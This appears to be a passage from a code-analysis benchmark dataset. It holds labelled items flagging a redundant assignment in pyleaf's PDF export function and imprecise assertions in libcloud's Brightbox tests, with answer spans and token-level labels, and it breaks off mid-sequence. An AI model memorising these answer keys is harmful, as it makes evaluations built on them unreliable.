query_name
stringlengths
13
55
code_file_path
stringlengths
14
194
context_blocks
list
answer_spans
list
supporting_fact_spans
list
example_type
int8
0
1
single_hop
bool
2 classes
subtokenized_input_sequence
list
label_sequence
list
Redundant assignment
franapoli/pyleaf/pyleaf/ptl.py
[ { "content": " def export(self, ofile, layout='LR'):\n \"\"\"Exports the protocol to a pdf file.\"\"\"\n import textwrap\n #ofile = self._metafolder+'/'+ofile\n ofile = ofile\n f=open(ofile, 'w')\n f.write('digraph G {'+\n 'node [shape=box, style=rounded];'+\n 'rankdir='+\n ('TB' if layout.lower()=='tb' else 'LR')+\n ';')\n for idx, node in enumerate(self._getGraph().getNodes()):\n\n if self._isFileMod(node):\n shape = 'note'\n else:\n shape = 'box'\n\n f.write(str(node))\n docstr = inspect.getdoc(self._modules[node].getValue()) if type(self._modules[node].getValue())==type(inspect.getdoc) else None\n f.write('[shape = ' + shape + ', label = <<table border=\"0\"><tr><td><B>' +\n self._getGraph().getAttrib(node, 'label') +\n '</B></td></tr><tr><td align = \"left\"><font POINT-SIZE=\"10\">'+\n ('-' if docstr == None else textwrap.fill(docstr, 30)).replace('\\n','<br/>') +\n '</font></td></tr></table>>]\\n')\n for node in self._getGraph().keys():\n for onode in self._getGraph()[node]:\n f.write(node + ' -> ' + onode + '\\n')\n f.write('}')\n f.close()\n t=os.system('dot -Tpdf -o' + ofile + '.pdf ' + ofile)\n if t!=0:\n raise NameError('Problems running dot: have you installed it?')", "metadata": "root.protocol.export", "header": "['class', 'protocol', '(', ')', ':', '___EOS___']", "index": 261 } ]
[ { "span": "ofile = ofile", "start_line": 265, "start_column": 8, "end_line": 265, "end_column": 21 } ]
[]
1
true
[ "[CLS]_", "Redu", "ndan", "t_", "assignment_", "[SEP]_", "class_", "protocol_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export_", "(_", "self_", ",_", "ofile_", ",_", "layout_", "=_", "'", "LR", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Export", "s", " ", "the", " ", "protoc", "ol", " ", "to", " ", "a", " ", "pdf", " ", "file", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "textwrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "ofi", "le", " ", "=", " ", "self", ".\\u", "metaf", "older", "+'", "/'", "+", "ofile_", "\\u\\u\\uNL\\u\\u\\u_", "ofile_", "=_", "ofile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "ofile_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'", "digraph", " ", "G", " ", "{'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", "node", " ", "[", "shape", "=", "box", ",", " ", "style", "=", "rounded", "];", "'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rank", "dir", "='_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "TB", "'_", "if_", "layout_", "._", "lower_", "(_", ")_", "==_", "'", "tb", "'_", "else_", "'", "LR", "'_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "';'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "idx_", ",_", "node_", "in_", "enumerate_", "(_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "._", "get", "Nodes_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "is", "File", "Mod_", "(_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shape_", "=_", "'", "note", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shape_", "=_", "'", "box", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "write_", "(_", "str_", "(_", "node_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "docstr", "_", "=_", "inspect_", "._", "getd", "oc_", "(_", "self_", "._", "\\u", "modules_", "[_", "node_", "]_", "._", "get", "Value_", "(_", ")_", ")_", "if_", "type_", "(_", "self_", "._", "\\u", "modules_", "[_", "node_", "]_", "._", "get", "Value_", "(_", ")_", ")_", "==_", "type_", "(_", "inspect_", "._", "getd", "oc_", ")_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "'[", "shape", " ", "=", " ", "'_", "+_", "shape_", "+_", "',", " ", "label", " ", "=", " ", "<<", "table", " ", "border", "=\"", "0", "\">", "<", "tr", "><", "td", "><", "B", ">'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "._", "get", "Attrib", "_", "(_", "node_", ",_", "'", "label", "'_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "/", "B", "><", "/", "td", "><", "/", "tr", "><", "tr", "><", "td", " ", "align", " ", "=", " ", "\"", "left", "\">", "<", "font", " ", "POINT", "-", "SIZE", "=\"", "10", "\">'_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'-'_", "if_", "docstr", "_", "==_", "None_", "else_", "textwrap_", "._", "fill_", "(_", "docstr", "_", ",_", "30_", ")_", ")_", "._", "replace_", "(_", "'\\\\", "n", "'_", ",_", "'<", "br", "/>'_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "'<", "/", "font", "><", "/", "td", "><", "/", "tr", "><", "/", "table", ">>", "]\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "node_", "in_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "ono", "de_", "in_", "self_", "._", "\\u", "get", "Graph_", "(_", ")_", "[_", "node_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "node_", "+_", "'", " ", "->", " ", "'_", "+_", "ono", "de_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "write_", "(_", "'}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "os_", "._", "system_", "(_", "'", "dot", " ", "-", "Tp", "df", " ", "-", "o", "'_", "+_", "ofile_", "+_", "'.", "pdf", " ", "'_", "+_", "ofile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "t_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Name", "Error_", "(_", "'", "Problems", " ", "runn", "ing", " ", "dot", ":", " ", "have", " ", "you", " ", "install", "ed", " ", "it", "?'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
apache/libcloud/libcloud/test/compute/test_brightbox.py
[ { "content": " def test_list_nodes(self):\n nodes = self.driver.list_nodes()\n self.assertEqual(len(nodes), 2)\n self.assertEqual(len(nodes[0].public_ips), 1)\n self.assertEqual(len(nodes[1].public_ips), 1)\n self.assertEqual(len(nodes[0].private_ips), 1)\n self.assertEqual(len(nodes[1].private_ips), 1)\n self.assertTrue('109.107.35.16' in nodes[0].public_ips)\n self.assertTrue('10.74.210.210' in nodes[0].private_ips)\n self.assertTrue('10.240.228.234' in nodes[1].private_ips)\n self.assertTrue(\n '2a02:1348:14c:393a:24:19ff:fef0:e4ea' in nodes[1].public_ips)\n self.assertEqual(nodes[0].state, NodeState.RUNNING)\n self.assertEqual(nodes[1].state, NodeState.RUNNING)", "metadata": "root.BrightboxTest.test_list_nodes", "header": "['class', 'BrightboxTest', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 64 }, { "content": " def test_list_node_extras(self):\n nodes = self.driver.list_nodes()\n self.assertFalse(nodes[0].size is None)\n self.assertFalse(nodes[1].size is None)\n self.assertFalse(nodes[0].image is None)\n self.assertFalse(nodes[1].image is None)\n self.assertEqual(nodes[0].image.id, 'img-arm8f')\n self.assertEqual(nodes[0].size.id, 'typ-urtky')\n self.assertEqual(nodes[1].image.id, 'img-j93gd')\n self.assertEqual(nodes[1].size.id, 'typ-qdiwq')\n self.assertEqual(nodes[0].extra['fqdn'], 'srv-xvpn7.gb1.brightbox.com')\n self.assertEqual(nodes[1].extra['fqdn'], 'srv-742vn.gb1.brightbox.com')\n self.assertEqual(nodes[0].extra['hostname'], 'srv-xvpn7')\n self.assertEqual(nodes[1].extra['hostname'], 'srv-742vn')\n self.assertEqual(nodes[0].extra['status'], 'active')\n self.assertEqual(nodes[1].extra['status'], 'active')\n self.assertTrue('interfaces' in nodes[0].extra)\n self.assertTrue('zone' in nodes[0].extra)\n self.assertTrue('snapshots' in nodes[0].extra)\n self.assertTrue('server_groups' in nodes[0].extra)\n self.assertTrue('started_at' in nodes[0].extra)\n self.assertTrue('created_at' in nodes[0].extra)\n self.assertFalse('deleted_at' in nodes[0].extra)", "metadata": "root.BrightboxTest.test_list_node_extras", "header": "['class', 'BrightboxTest', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 79 }, { "content": " def test_list_images(self):\n images = self.driver.list_images()\n self.assertEqual(len(images), 3)\n self.assertEqual(images[0].id, 'img-99q79')\n self.assertEqual(images[0].name, 'CentOS 5.5 server')\n self.assertTrue('ancestor' in images[0].extra)\n self.assertFalse('licence_name' in images[0].extra)", "metadata": "root.BrightboxTest.test_list_images", "header": "['class', 'BrightboxTest', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 113 }, { "content": " def test_list_images_extras(self):\n images = self.driver.list_images()\n extra = images[-1].extra\n self.assertEqual(extra['arch'], 'i686')\n self.assertFalse(extra['compatibility_mode'])\n self.assertEqual(extra['created_at'], '2012-01-22T05:36:24Z')\n self.assertTrue('description' in extra)\n self.assertEqual(extra['disk_size'], 671)\n self.assertFalse('min_ram' in extra)\n self.assertFalse(extra['official'])\n self.assertEqual(extra['owner'], 'acc-tqs4c')\n self.assertTrue(extra['public'])\n self.assertEqual(extra['source'], 'oneiric-i386-20178.gz')\n self.assertEqual(extra['source_type'], 'upload')\n self.assertEqual(extra['status'], 'deprecated')\n self.assertEqual(extra['username'], 'ubuntu')\n self.assertEqual(extra['virtual_size'], 1025)\n self.assertFalse('ancestor' in extra)\n self.assertFalse('licence_name' in extra)", "metadata": "root.BrightboxTest.test_list_images_extras", "header": "['class', 'BrightboxTest', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 121 }, { "content": " def test_list_cloud_ips(self):\n cip_list = self.driver.ex_list_cloud_ips()\n self.assertEqual(len(cip_list), 4)\n self.assertEqual(cip_list[2]['status'], 'mapped')\n cip_check = cip_list[0]\n self.assertEqual(cip_check['id'], 'cip-tlrp3')\n self.assertEqual(cip_check['public_ip'], '109.107.35.16')\n self.assertEqual(\n cip_check['reverse_dns'], 'cip-109-107-35-16.gb1.brightbox.com')\n self.assertEqual(cip_check['status'], 'unmapped')\n self.assertTrue(cip_check['server'] is None)\n self.assertTrue(cip_check['server_group'] is None)\n self.assertTrue(cip_check['interface'] is None)\n self.assertTrue(cip_check['load_balancer'] is None)", "metadata": "root.BrightboxTest.test_list_cloud_ips", "header": "['class', 'BrightboxTest', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 203 } ]
[ { "span": "self.assertTrue('109.107.35.16' in nodes[0].public_ips)", "start_line": 71, "start_column": 8, "end_line": 71, "end_column": 63 }, { "span": "self.assertTrue('10.74.210.210' in nodes[0].private_ips)", "start_line": 72, "start_column": 8, "end_line": 72, "end_column": 64 }, { "span": "self.assertTrue('10.240.228.234' in nodes[1].private_ips)", "start_line": 73, "start_column": 8, "end_line": 73, "end_column": 65 }, { "span": "self.assertTrue(\n '2a02:1348:14c:393a:24:19ff:fef0:e4ea' in nodes[1].public_ips)", "start_line": 74, "start_column": 8, "end_line": 75, "end_column": 74 }, { "span": "self.assertFalse(nodes[0].size is None)", "start_line": 81, "start_column": 8, "end_line": 81, "end_column": 47 }, { "span": "self.assertFalse(nodes[1].size is None)", "start_line": 82, "start_column": 8, "end_line": 82, "end_column": 47 }, { "span": "self.assertFalse(nodes[0].image is None)", "start_line": 83, "start_column": 8, "end_line": 83, "end_column": 48 }, { "span": "self.assertFalse(nodes[1].image is None)", "start_line": 84, "start_column": 8, "end_line": 84, "end_column": 48 }, { "span": "self.assertTrue('interfaces' in nodes[0].extra)", "start_line": 95, "start_column": 8, "end_line": 95, "end_column": 55 }, { "span": "self.assertTrue('zone' in nodes[0].extra)", "start_line": 96, "start_column": 8, "end_line": 96, "end_column": 49 }, { "span": "self.assertTrue('snapshots' in nodes[0].extra)", "start_line": 97, "start_column": 8, "end_line": 97, "end_column": 54 }, { "span": "self.assertTrue('server_groups' in nodes[0].extra)", "start_line": 98, "start_column": 8, "end_line": 98, "end_column": 58 }, { "span": "self.assertTrue('started_at' in nodes[0].extra)", "start_line": 99, "start_column": 8, "end_line": 99, "end_column": 55 }, { "span": "self.assertTrue('created_at' in nodes[0].extra)", "start_line": 100, "start_column": 8, "end_line": 100, "end_column": 55 }, { "span": "self.assertFalse('deleted_at' in nodes[0].extra)", "start_line": 101, "start_column": 8, "end_line": 101, "end_column": 56 }, { "span": "self.assertTrue('ancestor' in images[0].extra)", "start_line": 118, "start_column": 8, "end_line": 118, "end_column": 54 }, { "span": "self.assertFalse('licence_name' in images[0].extra)", "start_line": 119, "start_column": 8, "end_line": 119, "end_column": 59 }, { "span": "self.assertTrue('description' in extra)", "start_line": 127, "start_column": 8, "end_line": 127, "end_column": 47 }, { "span": "self.assertFalse('min_ram' in extra)", "start_line": 129, "start_column": 8, "end_line": 129, "end_column": 44 }, { "span": "self.assertFalse('ancestor' in extra)", "start_line": 138, "start_column": 8, "end_line": 138, "end_column": 45 }, { "span": "self.assertFalse('licence_name' in extra)", "start_line": 139, "start_column": 8, "end_line": 139, "end_column": 49 }, { "span": "self.assertTrue(cip_check['server'] is None)", "start_line": 213, "start_column": 8, "end_line": 213, "end_column": 52 }, { "span": "self.assertTrue(cip_check['server_group'] is None)", "start_line": 214, "start_column": 8, "end_line": 214, "end_column": 58 }, { "span": "self.assertTrue(cip_check['interface'] is None)", "start_line": 215, "start_column": 8, "end_line": 215, "end_column": 55 }, { "span": "self.assertTrue(cip_check['load_balancer'] is None)", "start_line": 216, "start_column": 8, "end_line": 216, "end_column": 59 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Bright", "box", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "nodes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nodes_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "nodes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "nodes_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "nodes_", "[_", "0_", "]_", "._", "public", "\\u", "ips_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "nodes_", "[_", "1_", "]_", "._", "public", "\\u", "ips_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "nodes_", "[_", "0_", "]_", "._", "private", "\\u", "ips_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "nodes_", "[_", "1_", "]_", "._", "private", "\\u", "ips_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "109", ".1", "0", "7.3", "5.1", "6", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "public", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "10.", "74.", "210", ".2", "10", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "private", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "10.2", "40.", "228", ".2", "3", "4", "'_", "in_", "nodes_", "[_", "1_", "]_", "._", "private", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "2a", "02", ":", "134", "8", ":", "14", "c", ":", "393", "a", ":", "24", ":", "1", "9", "ff", ":", "fe", "f0", ":", "e4", "ea", "'_", "in_", "nodes_", "[_", "1_", "]_", "._", "public", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "0_", "]_", "._", "state_", ",_", "Node", "State_", "._", "RUNNING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "1_", "]_", "._", "state_", ",_", "Node", "State_", "._", "RUNNING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bright", "box", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "node", "\\u", "extras_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nodes_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "nodes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "nodes_", "[_", "0_", "]_", "._", "size_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "nodes_", "[_", "1_", "]_", "._", "size_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "nodes_", "[_", "0_", "]_", "._", "image_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "nodes_", "[_", "1_", "]_", "._", "image_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "0_", "]_", "._", "image_", "._", "id_", ",_", "'", "img", "-", "arm", "8f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "0_", "]_", "._", "size_", "._", "id_", ",_", "'", "typ", "-", "ur", "tk", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "1_", "]_", "._", "image_", "._", "id_", ",_", "'", "img", "-", "j", "9", "3", "gd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "1_", "]_", "._", "size_", "._", "id_", ",_", "'", "typ", "-", "qd", "iw", "q", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "0_", "]_", "._", "extra_", "[_", "'", "fq", "dn", "'_", "]_", ",_", "'", "srv", "-", "xv", "pn", "7", ".", "gb", "1", ".", "bright", "box", ".", "com", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "1_", "]_", "._", "extra_", "[_", "'", "fq", "dn", "'_", "]_", ",_", "'", "srv", "-", "742", "vn", ".", "gb", "1", ".", "bright", "box", ".", "com", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "0_", "]_", "._", "extra_", "[_", "'", "host", "name", "'_", "]_", ",_", "'", "srv", "-", "xv", "pn", "7", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "1_", "]_", "._", "extra_", "[_", "'", "host", "name", "'_", "]_", ",_", "'", "srv", "-", "742", "vn", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "0_", "]_", "._", "extra_", "[_", "'", "status", "'_", "]_", ",_", "'", "active", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "nodes_", "[_", "1_", "]_", "._", "extra_", "[_", "'", "status", "'_", "]_", ",_", "'", "active", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "interface", "s", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "zone", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "snapshot", "s", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "server", "\\u", "group", "s", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "start", "ed", "\\u", "at", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "created", "\\u", "at", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "delete", "d\\u", "at", "'_", "in_", "nodes_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bright", "box", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "images_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "images_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "images_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "._", "id_", ",_", "'", "img", "-", "9", "9", "q", "7", "9", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "._", "name_", ",_", "'", "Cent", "OS", " ", "5.5", " ", "server", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "ancestor", "'_", "in_", "images_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "licence", "\\u", "name", "'_", "in_", "images_", "[_", "0_", "]_", "._", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bright", "box", "Test_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "images", "\\u", "extras_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "images_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "images_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra_", "=_", "images_", "[_", "-_", "1_", "]_", "._", "extra_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "extra_", "[_", "'", "arch", "'_", "]_", ",_", "'", "i", "686", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "extra_", "[_", "'", "compatibility", "\\u", "mode", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "extra_", "[_", "'", "created", "\\u", "at", "'_", "]_", ",_", "'", "2012", "-0", "1", "-", "2", "2", "T", "05", ":", "3", "6", ":", "24", "Z", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "description", "'_", "in_", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "extra_", "[_", "'", "disk", "\\u", "size", "'_", "]_", ",_", "671", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "min", "\\u", "ram", "'_", "in_", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "extra_", "[_", "'", "official", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "extra_", "[_", "'", "owner", "'_", "]_", ",_", "'", "acc", "-", "tq", "s", "4c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "extra_", "[_", "'", "public", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "extra_", "[_", "'", "source", "'_", "]_", ",_", "'", "one", "iri", "c", "-", "i3", "86", "-", "2017", "8", ".", "gz", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "extra_", "[_", "'", "source", "\\u", "type", "'_", "]_", ",_", "'", "upload", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "extra_", "[_", "'", "status", "'_", "]_", ",_", "'", "depre", "cated", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "extra_", "[_", "'", "user", "name", "'_", "]_", ",_", "'", "ubu", "ntu", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", 